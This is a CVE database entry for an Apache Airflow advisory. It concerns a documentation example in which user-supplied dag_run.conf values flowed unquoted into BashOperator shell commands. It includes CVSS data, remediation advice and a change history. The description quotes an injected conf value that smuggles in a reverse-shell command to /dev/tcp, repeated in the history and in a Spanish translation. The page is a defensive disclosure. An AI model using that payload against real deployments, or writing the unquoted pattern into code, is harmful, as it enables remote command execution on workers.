CVE-2026-42252
Apache Airflow: BashOperator Jinja2 injection via dag_run.conf — low-privilege user pattern
Description
Apache Airflow's official documentation at `core-concepts/dag-run.html` ("Passing Parameters when triggering Dags") showed a verbatim `BashOperator(bash_command="echo value: {{ dag_run.conf['conf1'] }}")` example without any quoting / sanitization warning. Dag authors who copied the pattern verbatim into deployments where users had `Dag.can_trigger` permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the `conf` field of the trigger API: an authenticated trigger user could supply `"; bash -i >& /dev/tcp/.../9999 0>&1; #"` as a `conf` value and reach an `os.exec` on the worker. This CVE covers the documentation correction in `apache/airflow` PR 64129 — the pattern in the docs example now includes explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs example. Same class as the prior CVE-2025-50213 and CVE-2025-27018 documentation-pattern fixes. Users are advised to upgrade to `apache-airflow` 3.2.2 or later to pick up the corrected documentation shipped with the release.
INFO
Published Date :
June 1, 2026, 9:16 a.m.
Last Modified :
July 21, 2026, 7:10 p.m.
Remotely Exploit :
Yes !
Source :
[email protected]
CVSS Scores
| Score | Version | Severity | Vector | Exploitability Score | Impact Score | Source |
|---|---|---|---|---|---|---|
| CVSS | 134c704f-9b21-4f2e-91b3-4a467353bcc0 | |||||
| CVSS 3.1 | CRITICAL | 134c704f-9b21-4f2e-91b3-4a467353bcc0 |
Solution
- Upgrade Apache Airflow to version 3.2.2 or later.
- Review and sanitize user-supplied DAG run configurations.
- Ensure shell commands properly quote parameters.
References to Advisories, Solutions, and Tools
Here, you will find a curated list of external links that provide in-depth
information, practical solutions, and valuable tools related to
CVE-2026-42252.
| URL | Resource |
|---|---|
| https://github.com/apache/airflow/pull/64129 | Issue Tracking Patch |
| https://lists.apache.org/thread/8f4sc0rfn154jprmnwtmlst4p9zfw3w7 | Mailing List Vendor Advisory |
CWE - Common Weakness Enumeration
While CVE identifies
specific instances of vulnerabilities, CWE categorizes the common flaws or
weaknesses that can lead to vulnerabilities. CVE-2026-42252 is
associated with the following CWEs:
Common Attack Pattern Enumeration and Classification (CAPEC)
Common Attack Pattern Enumeration and Classification
(CAPEC)
stores attack patterns, which are descriptions of the common attributes and
approaches employed by adversaries to exploit the CVE-2026-42252
weaknesses.
We scan GitHub repositories to detect new proof-of-concept exploits. Following list is a collection of public exploits and proof-of-concepts, which have been published on GitHub (sorted by the most recently updated).
Results are limited to the first 15 repositories due to potential performance issues.
The following list is the news that have been mention
CVE-2026-42252 vulnerability anywhere in the article.
The following table lists the changes that have been made to the
CVE-2026-42252 vulnerability over time.
Vulnerability history details can be useful for understanding the evolution of a vulnerability, and for identifying the most recent changes that may impact the vulnerability's severity, exploitability, or other characteristics.
-
CVE Translated by [email protected]
Jul. 21, 2026
Action Type Old Value New Value Added Translation Title: Apache Airflow de Apache Software Foundation, Description: La documentación oficial de Apache Airflow en 'core-concepts/dag-run.html' ( Pasando parámetros al activar Dags ) mostraba un ejemplo textual de 'BashOperator(bash_command="echo value: {{ dag_run.conf[ conf1 ] }}")' sin ninguna advertencia de entrecomillado / saneamiento. Los autores de Dags que copiaron el patrón textualmente en despliegues donde los usuarios tenían permiso 'Dag.can_trigger' en el Dag afectado (despliegues multi-equipo típicos, ofertas alojadas que exponen una API de activación) podrían estar expuestos a inyección de metacaracteres de shell a través del campo 'conf' de la API de activación: un usuario de activación autenticado podría suministrar '"; bash -i & /dev/tcp/.../9999 0 &1; #"' como valor de 'conf' y alcanzar un 'os.exec' en el worker. Este CVE cubre la corrección de la documentación en 'apache/airflow' PR 64129 - el patrón en el ejemplo de la documentación ahora incluye entrecomillado de shell explícito y una advertencia de seguridad. Afecta a los despliegues cuyo código de Dag fue modelado según el ejemplo de la documentación pre-corrección. De la misma clase que las correcciones de patrón de documentación anteriores CVE-2025-50213 y CVE-2025-27018. Se aconseja a los usuarios actualizar a 'apache-airflow' 3.2.2 o posterior para obtener la documentación corregida que se incluye con la versión. -
CVE Modified by [email protected]
Jun. 17, 2026
Action Type Old Value New Value Added Affected [{'vendor': 'Apache Software Foundation', 'product': 'Apache Airflow', 'versions': [{'status': 'affected', 'version': '3.0.0', 'lessThan': '3.2.2', 'versionType': 'semver'}], 'packageName': 'apache-airflow', 'collectionURL': 'https://pypi.python.org', 'defaultStatus': 'unaffected'}] -
CVE Modified by 134c704f-9b21-4f2e-91b3-4a467353bcc0
Jun. 17, 2026
Action Type Old Value New Value Added SSVC {'id': 'CVE-2026-42252', 'role': 'CISA Coordinator', 'options': [{'exploitation': 'none'}, {'automatable': 'yes'}, {'technicalImpact': 'total'}], 'version': '2.0.3', 'timestamp': '2026-06-02T16:05:01.041622Z'} -
Initial Analysis by [email protected]
Jun. 02, 2026
Action Type Old Value New Value Added CPE Configuration OR *cpe:2.3:a:apache:airflow:*:*:*:*:*:*:*:* versions from (including) 3.0.0 up to (excluding) 3.2.2 Added Reference Type Apache Software Foundation: https://github.com/apache/airflow/pull/64129 Types: Issue Tracking, Patch Added Reference Type Apache Software Foundation: https://lists.apache.org/thread/8f4sc0rfn154jprmnwtmlst4p9zfw3w7 Types: Mailing List, Vendor Advisory -
CVE Modified by 134c704f-9b21-4f2e-91b3-4a467353bcc0
Jun. 02, 2026
Action Type Old Value New Value Added CVSS V3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N -
New CVE Received by [email protected]
Jun. 01, 2026
Action Type Old Value New Value Added Description Apache Airflow's official documentation at `core-concepts/dag-run.html` ("Passing Parameters when triggering Dags") showed a verbatim `BashOperator(bash_command="echo value: {{ dag_run.conf['conf1'] }}")` example without any quoting / sanitization warning. Dag authors who copied the pattern verbatim into deployments where users had `Dag.can_trigger` permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the `conf` field of the trigger API: an authenticated trigger user could supply `"; bash -i >& /dev/tcp/.../9999 0>&1; #"` as a `conf` value and reach an `os.exec` on the worker. This CVE covers the documentation correction in `apache/airflow` PR 64129 — the pattern in the docs example now includes explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs example. Same class as the prior CVE-2025-50213 and CVE-2025-27018 documentation-pattern fixes. Users are advised to upgrade to `apache-airflow` 3.2.2 or later to pick up the corrected documentation shipped with the release. Added CWE CWE-1336 Added Reference https://github.com/apache/airflow/pull/64129 Added Reference https://lists.apache.org/thread/8f4sc0rfn154jprmnwtmlst4p9zfw3w7